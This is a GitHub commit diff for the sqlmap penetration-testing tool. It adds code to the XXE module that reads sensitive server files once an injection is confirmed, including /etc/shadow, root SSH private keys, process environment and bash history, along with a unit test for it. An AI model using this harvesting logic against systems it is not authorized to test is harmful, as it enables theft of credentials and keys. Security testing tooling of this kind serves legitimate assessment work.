Skip to content

Commit 3bab3cd

Browse files
committed
Minor update
1 parent 3b3a822 commit 3bab3cd

5 files changed

Lines changed: 149 additions & 36 deletions

File tree

data/txt/sha256sums.txt

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -189,10 +189,10 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
189189
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
190190
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
191191
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
192-
2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py
192+
f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py
193193
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
194194
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
195-
15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py
195+
69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
196196
96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py
197197
95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py
198198
b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
@@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
258258
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
259259
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
260260
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
261-
e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py
261+
b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py
262262
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
263263
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
264264
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
@@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use
670670
93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py
671671
81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py
672672
9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py
673-
b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py
673+
db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py
674674
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
675675
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
676676
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py

lib/core/settings.py

Lines changed: 27 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.7.28"
23+
VERSION = "1.10.7.29"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1121,6 +1121,32 @@
11211121
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
11221122
)
11231123

1124+
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
1125+
# this curated set of high-value, fixed-path files (host identity, process env/
1126+
# secrets, key material) - the XXE analogue of the automatic dumping the other
1127+
# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
1128+
# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
1129+
# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
1130+
# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
1131+
# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
1132+
XXE_FILE_HARVEST = (
1133+
"/etc/passwd",
1134+
"/etc/hostname",
1135+
"/etc/hosts",
1136+
"/etc/os-release",
1137+
"/etc/shadow",
1138+
"/etc/group",
1139+
"/proc/self/environ",
1140+
"/proc/self/cmdline",
1141+
"/proc/self/status",
1142+
"/proc/version",
1143+
"/root/.bash_history",
1144+
"/root/.ssh/id_rsa",
1145+
"c:/windows/win.ini",
1146+
"c:/windows/system32/drivers/etc/hosts",
1147+
"c:/inetpub/wwwroot/web.config",
1148+
)
1149+
11241150
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
11251151
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
11261152
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).

lib/core/target.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -618,7 +618,7 @@ def _createFilesDir():
618618
Create the file directory.
619619
"""
620620

621-
if not any((conf.fileRead, conf.commonFiles)):
621+
if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
622622
return
623623

624624
# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)

lib/techniques/xxe/inject.py

Lines changed: 88 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@
2626
from lib.core.settings import ASTERISK_MARKER
2727
from lib.core.settings import XXE_BLACKHOLE_HOST
2828
from lib.core.settings import XXE_ERROR_SIGNATURES
29+
from lib.core.settings import XXE_FILE_HARVEST
2930
from lib.core.settings import XXE_HARDENED_REGEX
3031
from lib.core.settings import XXE_IMPACT_FILES
3132
from lib.core.settings import OOB_POLL_ATTEMPTS
@@ -229,21 +230,50 @@ def _echoed(page):
229230
def _report(title, payload):
230231
if conf.beep:
231232
beep()
232-
place = "%s XML body" % (conf.method or HTTPMETHOD.POST)
233-
conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
233+
place = conf.method or HTTPMETHOD.POST
234+
conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
234235

235236

236-
def _dumpFileRead(remoteFile, content):
237+
def _saveFileRead(remoteFile, content):
237238
"""Save an XXE-read file to the output directory (parity with '--file-read') and
238-
list it; fall back to a console dump if the file cannot be written."""
239+
return its local path, or None if it could not be written."""
239240
try:
240-
localPath = dataToOutFile(remoteFile, getBytes(content))
241-
if localPath:
242-
conf.dumper.rFile([localPath])
243-
return
241+
return dataToOutFile(remoteFile, getBytes(content))
244242
except Exception as ex:
245243
logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
246-
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
244+
return None
245+
246+
247+
def _dumpFileRead(remoteFile, content):
248+
"""Save a single XXE-read file and list it; fall back to a console dump if the
249+
file cannot be written."""
250+
localPath = _saveFileRead(remoteFile, content)
251+
if localPath:
252+
conf.dumper.rFile([localPath])
253+
else:
254+
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
255+
256+
257+
def _harvestFiles(xml, rootName):
258+
"""Proactive, best-effort file harvest run once an in-band XXE read primitive is
259+
confirmed: pull a curated set of high-value fixed-path files (host identity,
260+
process env/secrets, key material) the way the other non-SQL engines auto-dump
261+
their reachable data. Returns a list of (path, content, payload) for every file
262+
that read back non-empty; unreadable/absent files are silently skipped. Content is
263+
de-duplicated so a parser that resolves every missing path to the same stub cannot
264+
masquerade as many distinct reads."""
265+
266+
harvested = []
267+
seen = set()
268+
for path in XXE_FILE_HARVEST:
269+
content, payload = _tryInbandFileRead(xml, rootName, path)
270+
if content and content.strip():
271+
key = content.strip()
272+
if key in seen:
273+
continue
274+
seen.add(key)
275+
harvested.append((path, content, payload))
276+
return harvested
247277

248278

249279
def _tryInternal(xml, rootName, baseline):
@@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName):
280310
entity between two random markers so the exact file content can be sliced out
281311
of the response regardless of surrounding template. Raw file:// works for text
282312
files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
283-
the file content or None."""
313+
(content, payload) or (None, None)."""
284314

285315
from lib.core.convert import decodeBase64
286316

@@ -303,21 +333,21 @@ def _tryInbandFileRead(xml, rootName, fileName):
303333
except Exception:
304334
continue
305335
if data and data.strip():
306-
return data
307-
return None
336+
return data, payload
337+
return None, None
308338

309339

310340
def _tryExternalFile(xml, rootName, baseline):
311341
"""Impact demonstration once XXE is live: read a benign host-identity file via
312-
an external general entity. Returns (systemId, snippet) on a confirmed read."""
342+
an external general entity. Returns (systemId, payload) on a confirmed read."""
313343

314344
for systemId, pattern in XXE_IMPACT_FILES:
315345
ent = randomStr(length=8, lowercase=True)
316346
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
317347
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
318348
snippet = _confirmRead(_send(payload), pattern, baseline)
319349
if snippet:
320-
return systemId, snippet
350+
return systemId, payload
321351
return None, None
322352

323353

@@ -639,8 +669,9 @@ def xxeScan():
639669
_OOB_CONSENT = None
640670

641671
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
642-
debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration "
643-
debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored"
672+
debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
673+
debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches "
674+
debugMsg += "(--banner, --dbs, --tables, --dump) are ignored"
644675
logger.debug(debugMsg)
645676

646677
xml = _cleanBody()
@@ -661,31 +692,59 @@ def xxeScan():
661692

662693
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
663694
# processes entities but is NOT yet file-read impact, so it deliberately does NOT
664-
# set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still
665-
# run to try to upgrade a mere "expansion confirmed" into actual file-read impact.
695+
# set `found` on its own - we first try to UPGRADE it to real file-read impact and
696+
# then emit a SINGLE report block with the strongest confirmed vector and its real
697+
# payload (one report per finding, as with the other non-SQL engines). The internal
698+
# expansion is only reported on its own when no external-entity read is reachable.
666699
payload, page = _tryInternal(xml, rootName, baseline)
667700
if payload:
668701
expansionSeen = True
669702
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
670-
_report("In-band DTD/internal entity expansion", payload)
671703

672704
if conf.get("fileRead"):
673-
content = _tryInbandFileRead(xml, rootName, conf.fileRead)
705+
content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead)
674706
if content:
675707
found = True
676708
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
677-
_report("In-band file read ('%s')" % conf.fileRead, "<in-band reflected read of '%s'>" % conf.fileRead)
709+
_report("In-band file read ('%s')" % conf.fileRead, readPayload)
678710
_dumpFileRead(conf.fileRead, content)
679711
else:
680-
# benign, in-band impact demonstration (data stays in the response, no third party)
681-
systemId, snippet = _tryExternalFile(xml, rootName, baseline)
682-
if not systemId:
683-
snippet = _tryPhpFilter(xml, rootName, baseline)
684-
systemId = "php://filter" if snippet else None
685-
if systemId:
712+
# No targeted '--file-read': proactively harvest a curated set of high-value
713+
# files (data stays in the response, no third party) - the XXE analogue of
714+
# the automatic dumping the other non-SQL engines do once confirmed.
715+
harvested = _harvestFiles(xml, rootName)
716+
if harvested:
686717
found = True
687-
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
688-
_report("In-band file-read impact (external entity '%s')" % systemId, "<external-entity read of a benign file for impact>")
718+
firstPath, _, firstPayload = harvested[0]
719+
logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
720+
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
721+
saved = []
722+
for path, content, _ in harvested:
723+
logger.info("read remote file '%s' (%d bytes)" % (path, len(content)))
724+
localPath = _saveFileRead(path, content)
725+
if localPath:
726+
saved.append(localPath)
727+
else:
728+
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content))
729+
if saved:
730+
conf.dumper.rFile(saved)
731+
else:
732+
# Harvest read nothing (content relocated in the response, or only benign
733+
# host-identity is exposed): fall back to the pattern-based impact proof
734+
# so file-read impact is still confirmed.
735+
systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
736+
if not systemId:
737+
readPayload = _tryPhpFilter(xml, rootName, baseline)
738+
systemId = "php://filter" if readPayload else None
739+
if systemId:
740+
found = True
741+
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
742+
_report("In-band file-read impact (external entity '%s')" % systemId, readPayload)
743+
744+
if not found:
745+
# external entities are disabled (only internal expansion is reachable):
746+
# report that weaker-but-real finding with its actual payload
747+
_report("In-band DTD/internal entity expansion", payload)
689748

690749
# T3: error-based (works where entities are not reflected but errors leak). A
691750
# redundant detection channel once in-band reflection was already seen, so it is

tests/test_xxe.py

Lines changed: 29 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -239,7 +239,35 @@ def singleString(self, data, content_type=None):
239239
xxe._report("Title", "Payload")
240240
finally:
241241
conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep
242-
self.assertIn("PUT XML body", captured[0])
242+
self.assertIn("Parameter: XML body (PUT)", captured[0])
243+
244+
245+
class TestHarvestFiles(unittest.TestCase):
246+
def test_harvest_collects_dedups_and_skips_empty(self):
247+
# simulate a target that returns real content for two files, an empty read for
248+
# one (skipped), and an identical stub for the rest (deduped to a single entry)
249+
def _fake(xml, rootName, path):
250+
if path == "/etc/passwd":
251+
return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd"
252+
if path == "/etc/hostname":
253+
return "host01\n", "PAYLOAD-hostname"
254+
if path == "/etc/hosts":
255+
return " ", "PAYLOAD-empty" # whitespace-only -> skipped
256+
return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped
257+
258+
old = xxe._tryInbandFileRead
259+
xxe._tryInbandFileRead = _fake
260+
try:
261+
harvested = xxe._harvestFiles("<user><name>x</name></user>", "user")
262+
finally:
263+
xxe._tryInbandFileRead = old
264+
265+
paths = [p for p, _, _ in harvested]
266+
self.assertIn("/etc/passwd", paths)
267+
self.assertIn("/etc/hostname", paths)
268+
self.assertNotIn("/etc/hosts", paths) # empty read skipped
269+
self.assertEqual(paths.count("/etc/passwd"), 1)
270+
self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped
243271

244272

245273
class TestOobBase64Capture(unittest.TestCase):

0 commit comments

Comments
 (0)